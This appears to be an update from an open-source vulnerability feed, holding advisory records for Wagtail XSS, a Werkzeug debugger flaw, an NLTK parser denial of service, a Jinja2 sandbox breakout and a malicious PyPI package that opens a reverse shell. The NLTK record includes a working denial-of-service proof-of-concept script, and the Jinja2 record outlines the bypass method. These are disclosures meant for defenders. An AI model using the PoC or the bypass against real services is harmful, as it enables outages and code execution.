vuln-osv update 2026-11-18T06:43:58Z

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{"schema_version":"1.9.0","id":"GHSA-23m2-mghx-vqmf","published":"2026-08-20T18:40:26Z","modified":"2026-08-20T18:45:16.190340792Z","aliases":["CVE-2026-54263","PYSEC-2026-616"],"summary":"Wagtail: Reflected XSS in dynamic image URL generator view","details":"### Impact\n\nA reflected cross-site scripting (XSS) vulnerability exists on the dynamic image URL generator view within the Wagtail admin interface. A user with a limited-permission editor account for the Wagtail admin could craft a URL that, when viewed by a user with higher privileges, could perform actions with that user's credentials. The vulnerability is present for all sites, even if they do not enable the [dynamic image serve view](https://docs.wagtail.org/en/stable/advanced_topics/images/image_serve_view.html). The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.\n\n### Patches\n\nPatched versions have been released as Wagtail 7.3.3 and 7.4.2.\n\n### Workarounds\n\nFor sites that cannot easily upgrade to a current supported version, the vulnerability can be patched by adding the following code to `urls.py` URL pattern declarations to override the vulnerable view. This disables the admin dynamic image preview functionality, while the public-facing dynamic image serve view still works.\n\n```python\nfrom django.http import HttpResponseBadRequest\nfrom django.urls import path\nfrom wagtail.admin import urls as wagtailadmin_urls\n\ndef disabled_output(request, image_id):\n return HttpResponseBadRequest(\"\", content_type=\"text/plain\")\n\nurlpatterns = [\n # Example where the CMS admin is at /admin/.\n # Add this before the Wagtail admin URLs registration, with the same sub-path.\n path(\"admin/images/<int:image_id>/generate_url/output/\", disabled_output),\n path(\"admin/\", include(wagtailadmin_urls)),\n]\n```\n\n### Acknowledgements\n\nMany thanks to Thibaud Colas (@thibaudcolas) for reporting this issue.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)\n- Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).","affected":[{"package":{"name":"wagtail","ecosystem":"PyPI","purl":"pkg:pypi/wagtail"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.3"},{"fixed":"7.3.3"}]}],"versions":["7.3","7.3.1","7.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-23m2-mghx-vqmf/GHSA-23m2-mghx-vqmf.json"}},{"package":{"name":"wagtail","ecosystem":"PyPI","purl":"pkg:pypi/wagtail"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.4"},{"fixed":"7.4.2"}]}],"versions":["7.4","7.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-23m2-mghx-vqmf/GHSA-23m2-mghx-vqmf.json"}}],"references":[{"type":"WEB","url":"https://github.com/wagtail/wagtail/security/advisories/GHSA-23m2-mghx-vqmf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54263"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/wagtail/PYSEC-2026-616.yaml"},{"type":"PACKAGE","url":"https://github.com/wagtail/wagtail"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-08-20T18:40:26Z","nvd_published_at":"2026-07-01T22:16:49Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}]}
{"schema_version":"1.9.2","id":"GHSA-23m2-mghx-vqmf","published":"2026-08-20T18:40:26Z","modified":"2026-11-18T00:45:13.893265484Z","aliases":["CVE-2026-54263","PYSEC-2026-616"],"summary":"Wagtail: Reflected XSS in dynamic image URL generator view","details":"### Impact\n\nA reflected cross-site scripting (XSS) vulnerability exists on the dynamic image URL generator view within the Wagtail admin interface. A user with a limited-permission editor account for the Wagtail admin could craft a URL that, when viewed by a user with higher privileges, could perform actions with that user's credentials. The vulnerability is present for all sites, even if they do not enable the [dynamic image serve view](https://docs.wagtail.org/en/stable/advanced_topics/images/image_serve_view.html). The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin.\n\n### Patches\n\nPatched versions have been released as Wagtail 7.3.3 and 7.4.2.\n\n### Workarounds\n\nFor sites that cannot easily upgrade to a current supported version, the vulnerability can be patched by adding the following code to `urls.py` URL pattern declarations to override the vulnerable view. This disables the admin dynamic image preview functionality, while the public-facing dynamic image serve view still works.\n\n```python\nfrom django.http import HttpResponseBadRequest\nfrom django.urls import path\nfrom wagtail.admin import urls as wagtailadmin_urls\n\ndef disabled_output(request, image_id):\n return HttpResponseBadRequest(\"\", content_type=\"text/plain\")\n\nurlpatterns = [\n # Example where the CMS admin is at /admin/.\n # Add this before the Wagtail admin URLs registration, with the same sub-path.\n path(\"admin/images/<int:image_id>/generate_url/output/\", disabled_output),\n path(\"admin/\", include(wagtailadmin_urls)),\n]\n```\n\n### Acknowledgements\n\nMany thanks to Thibaud Colas (@thibaudcolas) for reporting this issue.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)\n- Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).","affected":[{"package":{"name":"wagtail","ecosystem":"PyPI","purl":"pkg:pypi/wagtail"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.3"},{"fixed":"7.3.3"}]}],"versions":["7.3","7.3.1","7.3.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-23m2-mghx-vqmf/GHSA-23m2-mghx-vqmf.json"}},{"package":{"name":"wagtail","ecosystem":"PyPI","purl":"pkg:pypi/wagtail"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.4"},{"fixed":"7.4.2"}]}],"versions":["7.4","7.4.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-23m2-mghx-vqmf/GHSA-23m2-mghx-vqmf.json"}}],"references":[{"type":"WEB","url":"https://github.com/wagtail/wagtail/security/advisories/GHSA-23m2-mghx-vqmf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54263"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/wagtail/PYSEC-2026-616.yaml"},{"type":"PACKAGE","url":"https://github.com/wagtail/wagtail"},{"type":"WEB","url":"https://github.com/wagtail/wagtail/releases/tag/v7.3.3"},{"type":"WEB","url":"https://github.com/wagtail/wagtail/releases/tag/v7.4.2"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-08-20T18:40:26Z","nvd_published_at":"2026-07-01T22:16:49Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}]}
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{"schema_version":"1.9.0","id":"GHSA-2g68-c3qc-8985","published":"2024-05-06T14:21:27Z","modified":"2026-09-10T03:50:13.189126850Z","aliases":["CVE-2024-34069","PYSEC-2026-2043"],"summary":"Werkzeug debugger vulnerable to remote execution when interacting with attacker controlled domain","details":"The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger.","affected":[{"package":{"name":"werkzeug","ecosystem":"PyPI","purl":"pkg:pypi/werkzeug"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3"}]}],"versions":["0.1","0.10","0.10.1","0.10.2","0.10.3","0.10.4","0.11","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.14","0.11.15","0.11.2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12","0.12.1","0.12.2","0.13","0.14","0.14.1","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.16.0","0.16.1","0.2","0.3","0.3.1","0.4","0.4.1","0.5","0.5.1","0.6","0.6.1","0.6.2","0.7","0.7.1","0.7.2","0.8","0.8.1","0.8.2","0.8.3","0.9","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5","0.9.6","1.0.0","1.0.0rc1","1.0.1","2.0.0","2.0.0rc1","2.0.0rc2","2.0.0rc3","2.0.0rc4","2.0.0rc5","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.2.0","2.2.0a1","2.2.1","2.2.2","2.2.3","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","3.0.0","3.0.1","3.0.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/05/GHSA-2g68-c3qc-8985/GHSA-2g68-c3qc-8985.json"}}],"references":[{"type":"WEB","url":"https://github.com/pallets/werkzeug/security/advisories/GHSA-2g68-c3qc-8985"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34069"},{"type":"WEB","url":"https://github.com/pallets/werkzeug/commit/3386395b24c7371db11a5b8eaac0c91da5362692"},{"type":"PACKAGE","url":"https://github.com/pallets/werkzeug"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00026.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/H4SH32AM3CTPMAAEOIDAN7VU565LO4IR"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HFERFN7PINV4MOGMGA3DPIXJPDCYOEJZ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240614-0004"}],"database_specific":{"cwe_ids":["CWE-352"],"github_reviewed":true,"github_reviewed_at":"2024-05-06T14:21:27Z","nvd_published_at":"2024-05-06T15:15:23Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}
{"schema_version":"1.9.2","id":"GHSA-2g68-c3qc-8985","published":"2024-05-06T14:21:27Z","modified":"2026-11-18T00:45:13.752437127Z","aliases":["CVE-2024-34069","PYSEC-2026-2043"],"summary":"Werkzeug debugger vulnerable to remote execution when interacting with attacker controlled domain","details":"The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger.","affected":[{"package":{"name":"werkzeug","ecosystem":"PyPI","purl":"pkg:pypi/werkzeug"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3"}]}],"versions":["0.1","0.10","0.10.1","0.10.2","0.10.3","0.10.4","0.11","0.11.1","0.11.10","0.11.11","0.11.12","0.11.13","0.11.14","0.11.15","0.11.2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12","0.12.1","0.12.2","0.13","0.14","0.14.1","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.16.0","0.16.1","0.2","0.3","0.3.1","0.4","0.4.1","0.5","0.5.1","0.6","0.6.1","0.6.2","0.7","0.7.1","0.7.2","0.8","0.8.1","0.8.2","0.8.3","0.9","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5","0.9.6","1.0.0","1.0.0rc1","1.0.1","2.0.0","2.0.0rc1","2.0.0rc2","2.0.0rc3","2.0.0rc4","2.0.0rc5","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.2.0","2.2.0a1","2.2.1","2.2.2","2.2.3","2.3.0","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","3.0.0","3.0.1","3.0.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/05/GHSA-2g68-c3qc-8985/GHSA-2g68-c3qc-8985.json"}}],"references":[{"type":"WEB","url":"https://github.com/pallets/werkzeug/security/advisories/GHSA-2g68-c3qc-8985"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34069"},{"type":"WEB","url":"https://github.com/pallets/werkzeug/commit/3386395b24c7371db11a5b8eaac0c91da5362692"},{"type":"PACKAGE","url":"https://github.com/pallets/werkzeug"},{"type":"WEB","url":"https://github.com/pallets/werkzeug/releases/tag/3.0.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/werkzeug/PYSEC-2026-2043.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00026.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/H4SH32AM3CTPMAAEOIDAN7VU565LO4IR"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HFERFN7PINV4MOGMGA3DPIXJPDCYOEJZ"},{"type":"WEB","url":"https://pypi.org/project/werkzeug"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240614-0004"}],"database_specific":{"cwe_ids":["CWE-352"],"github_reviewed":true,"github_reviewed_at":"2024-05-06T14:21:27Z","nvd_published_at":"2024-05-06T15:15:23Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}
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{"schema_version":"1.9.2","id":"GHSA-8fx7-8jr8-84rv","published":"2026-11-13T21:02:19Z","modified":"2026-11-13T21:15:14.552241935Z","aliases":["CVE-2026-126303"],"summary":"NLTK: Unbounded CPU consumption in SteppingRecursiveDescentParser.parse() with ambiguous or self-embedding grammars","details":"## Summary\n\n`nltk.parse.recursivedescent.SteppingRecursiveDescentParser.parse()` performs an unbounded top-down search over ambiguous or self-embedding context-free grammars with no wall-clock or step limit. An actor who can influence the grammar and supply a short input to a caller that uses this parser can force a single `parse()` call to pin a CPU core indefinitely, producing a denial of service. The related base class `RecursiveDescentParser` gained a `max_time` wall-clock deadline, but the stepping subclass drives its own step loop and never arms or consults that deadline, and its constructor does not accept a `max_time` parameter, so the guard cannot be enabled on this path.\n\n## Root Cause\n\n`RecursiveDescentParser` bounds its recursive search inside `_parse`: it arms a wall-clock deadline on the first step and raises `TimeoutError` once `max_time` (default 5.0 seconds) is exceeded. `SteppingRecursiveDescentParser` was designed for interactive single-stepping and overrides both `parse()` and `_parse`. Its `parse()` runs `initialize()` followed by a `while self.step() is not None` loop that never enters the guarded base `_parse`. Its `_parse` override is a state-capturing stub that records history and returns a sentinel, and it never references the inherited `self._parse_deadline` or `self._max_time`. Its `__init__` signature omits `max_time` entirely, so a caller cannot enable or tighten a bound. The security invariant that a single parse must terminate within a bounded time is therefore never enforced on this parser.\n\n```text\nAffected component: nltk.parse.recursivedescent.SteppingRecursiveDescentParser\n- parse() nltk/parse/recursivedescent.py:428-433 (drives its own step loop, no bound armed or checked)\n- _parse() nltk/parse/recursivedescent.py:643-668 (stub override; never consults self._parse_deadline / self._max_time)\n- __init__() nltk/parse/recursivedescent.py:410-418 (signature (self, grammar, trace=0); no max_time parameter)\nBase guard for comparison: RecursiveDescentParser._parse nltk/parse/recursivedescent.py:141-150\n```\n\n## Impact\n\nAn actor who controls or influences the grammar passed to `SteppingRecursiveDescentParser` and can supply a short token sequence to a caller that invokes `parse()` can cause that call to never return. The top-down search enumerates a derivation space that grows on the order of the Catalan numbers with no memoization of the search and no deadline, so one crafted grammar plus a short input deterministically consumes a CPU core. In a deployment that parses attacker-influenced input on a bounded worker pool, repeated requests exhaust the pool and deny service to legitimate users. No authentication, privilege, or user interaction is required in that worst-credible deployment. Exploitation requires that the target actually use this parser on untrusted input; because the stepping parser is primarily a debugging or interactive-stepping component that backs a GUI, real-world exposure is narrower than for the base parser, though `parse()` is a supported public method that behaves as a full parser.\n\n## Proof of Concept\n\n`Requires only the nltk package (3.10.3) and standard library; no data downloads or network access.`\n\nReproduction steps:\n1. Build an ambiguous, self-embedding grammar such as `S -> 'a' S S | 'a'`.\n2. Confirm the base parser self-terminates: `RecursiveDescentParser(g, max_time=2.0).parse(['a']*17)` raises `TimeoutError` at about 2 seconds.\n3. Run the stepping parser on the same grammar and input and observe it never returns.\n\n```python\nimport time, inspect\nfrom nltk import CFG\nfrom nltk.parse.recursivedescent import RecursiveDescentParser, SteppingRecursiveDescentParser\n\ng = CFG.fromstring(\"S -> 'a' S S | 'a'\")\n\n# Base parser is bounded and self-terminates.\ntry:\n list(RecursiveDescentParser(g, max_time=2.0).parse(['a'] * 17))\nexcept TimeoutError:\n print(\"base: TimeoutError (guarded)\")\n\n# Stepping subclass cannot be bounded: no max_time parameter.\nprint(\"stepping __init__ sig:\", inspect.signature(SteppingRecursiveDescentParser.__init__))\n\n# Stepping parser runs unbounded on the same input.\nt0 = time.perf_counter()\nlist(SteppingRecursiveDescentParser(g).parse(['a'] * 17)) # does not return\nprint(\"stepping: returned after\", time.perf_counter() - t0)\n```\n\n```text\nbase: TimeoutError (guarded)\nstepping __init__ sig: (self, grammar, trace=0)\n# stepping len3: 1 parse in 0.001s ; len7: 5 in 0.017s ; len9: 14 in 0.075s ; len11: 42 in 0.36s\n# stepping len17: still running past a 10s watchdog, process alive, no RecursionError\n```\n\n## Attack Chain\n\n1. **Exposure:** A caller uses `nltk.parLine truncated
{"schema_version":"1.9.2","id":"GHSA-8fx7-8jr8-84rv","published":"2026-11-13T21:02:19Z","modified":"2026-11-18T00:45:13.871328279Z","aliases":["CVE-2026-126303"],"summary":"NLTK: Unbounded CPU consumption in SteppingRecursiveDescentParser.parse() with ambiguous or self-embedding grammars","details":"## Summary\n\n`nltk.parse.recursivedescent.SteppingRecursiveDescentParser.parse()` performs an unbounded top-down search over ambiguous or self-embedding context-free grammars with no wall-clock or step limit. An actor who can influence the grammar and supply a short input to a caller that uses this parser can force a single `parse()` call to pin a CPU core indefinitely, producing a denial of service. The related base class `RecursiveDescentParser` gained a `max_time` wall-clock deadline, but the stepping subclass drives its own step loop and never arms or consults that deadline, and its constructor does not accept a `max_time` parameter, so the guard cannot be enabled on this path.\n\n## Root Cause\n\n`RecursiveDescentParser` bounds its recursive search inside `_parse`: it arms a wall-clock deadline on the first step and raises `TimeoutError` once `max_time` (default 5.0 seconds) is exceeded. `SteppingRecursiveDescentParser` was designed for interactive single-stepping and overrides both `parse()` and `_parse`. Its `parse()` runs `initialize()` followed by a `while self.step() is not None` loop that never enters the guarded base `_parse`. Its `_parse` override is a state-capturing stub that records history and returns a sentinel, and it never references the inherited `self._parse_deadline` or `self._max_time`. Its `__init__` signature omits `max_time` entirely, so a caller cannot enable or tighten a bound. The security invariant that a single parse must terminate within a bounded time is therefore never enforced on this parser.\n\n```text\nAffected component: nltk.parse.recursivedescent.SteppingRecursiveDescentParser\n- parse() nltk/parse/recursivedescent.py:428-433 (drives its own step loop, no bound armed or checked)\n- _parse() nltk/parse/recursivedescent.py:643-668 (stub override; never consults self._parse_deadline / self._max_time)\n- __init__() nltk/parse/recursivedescent.py:410-418 (signature (self, grammar, trace=0); no max_time parameter)\nBase guard for comparison: RecursiveDescentParser._parse nltk/parse/recursivedescent.py:141-150\n```\n\n## Impact\n\nAn actor who controls or influences the grammar passed to `SteppingRecursiveDescentParser` and can supply a short token sequence to a caller that invokes `parse()` can cause that call to never return. The top-down search enumerates a derivation space that grows on the order of the Catalan numbers with no memoization of the search and no deadline, so one crafted grammar plus a short input deterministically consumes a CPU core. In a deployment that parses attacker-influenced input on a bounded worker pool, repeated requests exhaust the pool and deny service to legitimate users. No authentication, privilege, or user interaction is required in that worst-credible deployment. Exploitation requires that the target actually use this parser on untrusted input; because the stepping parser is primarily a debugging or interactive-stepping component that backs a GUI, real-world exposure is narrower than for the base parser, though `parse()` is a supported public method that behaves as a full parser.\n\n## Proof of Concept\n\n`Requires only the nltk package (3.10.3) and standard library; no data downloads or network access.`\n\nReproduction steps:\n1. Build an ambiguous, self-embedding grammar such as `S -> 'a' S S | 'a'`.\n2. Confirm the base parser self-terminates: `RecursiveDescentParser(g, max_time=2.0).parse(['a']*17)` raises `TimeoutError` at about 2 seconds.\n3. Run the stepping parser on the same grammar and input and observe it never returns.\n\n```python\nimport time, inspect\nfrom nltk import CFG\nfrom nltk.parse.recursivedescent import RecursiveDescentParser, SteppingRecursiveDescentParser\n\ng = CFG.fromstring(\"S -> 'a' S S | 'a'\")\n\n# Base parser is bounded and self-terminates.\ntry:\n list(RecursiveDescentParser(g, max_time=2.0).parse(['a'] * 17))\nexcept TimeoutError:\n print(\"base: TimeoutError (guarded)\")\n\n# Stepping subclass cannot be bounded: no max_time parameter.\nprint(\"stepping __init__ sig:\", inspect.signature(SteppingRecursiveDescentParser.__init__))\n\n# Stepping parser runs unbounded on the same input.\nt0 = time.perf_counter()\nlist(SteppingRecursiveDescentParser(g).parse(['a'] * 17)) # does not return\nprint(\"stepping: returned after\", time.perf_counter() - t0)\n```\n\n```text\nbase: TimeoutError (guarded)\nstepping __init__ sig: (self, grammar, trace=0)\n# stepping len3: 1 parse in 0.001s ; len7: 5 in 0.017s ; len9: 14 in 0.075s ; len11: 42 in 0.36s\n# stepping len17: still running past a 10s watchdog, process alive, no RecursionError\n```\n\n## Attack Chain\n\n1. **Exposure:** A caller uses `nltk.parLine truncated
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{"schema_version":"1.9.0","id":"GHSA-cpwx-vrp4-4pq7","published":"2025-03-05T20:40:14Z","modified":"2026-09-10T03:49:48.526758681Z","aliases":["CVE-2025-27516","PYSEC-2026-1471"],"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","affected":[{"package":{"name":"jinja2","ecosystem":"PyPI","purl":"pkg:pypi/jinja2"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}],"versions":["2.0","2.0rc1","2.1","2.1.1","2.10","2.10.1","2.10.2","2.10.3","2.11.0","2.11.1","2.11.2","2.11.3","2.2","2.2.1","2.3","2.3.1","2.4","2.4.1","2.5","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.6","2.7","2.7.1","2.7.2","2.7.3","2.8","2.8.1","2.9","2.9.1","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","3.0.0","3.0.0a1","3.0.0rc1","3.0.0rc2","3.0.1","3.0.2","3.0.3","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5"],"database_specific":{"last_known_affected_version_range":"<= 3.1.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-cpwx-vrp4-4pq7/GHSA-cpwx-vrp4-4pq7.json"}}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}],"database_specific":{"cwe_ids":["CWE-1336"],"github_reviewed":true,"github_reviewed_at":"2025-03-05T20:40:14Z","nvd_published_at":"2025-03-05T21:15:20Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}
{"schema_version":"1.9.2","id":"GHSA-cpwx-vrp4-4pq7","published":"2025-03-05T20:40:14Z","modified":"2026-11-18T00:45:13.756181700Z","aliases":["CVE-2025-27516","PYSEC-2026-1471"],"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","affected":[{"package":{"name":"jinja2","ecosystem":"PyPI","purl":"pkg:pypi/jinja2"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6"}]}],"versions":["2.0","2.0rc1","2.1","2.1.1","2.10","2.10.1","2.10.2","2.10.3","2.11.0","2.11.1","2.11.2","2.11.3","2.2","2.2.1","2.3","2.3.1","2.4","2.4.1","2.5","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.6","2.7","2.7.1","2.7.2","2.7.3","2.8","2.8.1","2.9","2.9.1","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","3.0.0","3.0.0a1","3.0.0rc1","3.0.0rc2","3.0.1","3.0.2","3.0.3","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5"],"database_specific":{"last_known_affected_version_range":"<= 3.1.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-cpwx-vrp4-4pq7/GHSA-cpwx-vrp4-4pq7.json"}}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.6"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2026-1471.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"},{"type":"WEB","url":"https://pypi.org/project/jinja2"}],"database_specific":{"cwe_ids":["CWE-1336"],"github_reviewed":true,"github_reviewed_at":"2025-03-05T20:40:14Z","nvd_published_at":"2025-03-05T21:15:20Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-19951","published":"2026-11-16T08:46:51Z","modified":"2026-11-16T10:30:03.342212871Z","summary":"Malicious code in my-poc-sandbox (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 (47b35ec3d2d855cfb8c9178f76b0ca47d6cc887c57223f2f4a93ea9444f78e21)\nDuring import, the package attempts to start a reverse shell.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-my-poc-sandbox\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.\n","affected":[{"package":{"name":"my-poc-sandbox","ecosystem":"PyPI","purl":"pkg:pypi/my-poc-sandbox"},"versions":["1.0.0","1.0.1","1.0.2"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/my-poc-sandbox/MAL-2026-19951.json"}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/my-poc-sandbox"}],"database_specific":{"iocs":{"domains":["mcwxz-13-205-45-209.run.pinggy-free.link"]},"malicious-packages-origins":[{"id":"pypi/2026-11-my-poc-sandbox/my-poc-sandbox","import_time":"2026-11-16T09:17:46.471938947Z","modified_time":"2026-11-16T08:46:52.705499Z","sha256":"47b35ec3d2d855cfb8c9178f76b0ca47d6cc887c57223f2f4a93ea9444f78e21","source":"kam193","versions":["1.0.0","1.0.1","1.0.2"]},{"id":"pypi/2026-11-my-poc-sandbox/my-poc-sandbox","import_time":"2026-11-16T10:14:50.658179764Z","modified_time":"2026-11-16T08:46:52.705499Z","sha256":"e09f5e6a96d436caef5a37401e1f79878f69c989848c6902c11d7a9bb41e60aa","source":"kam193","versions":["1.0.0","1.0.1","1.0.2"]}]},"credits":[{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}
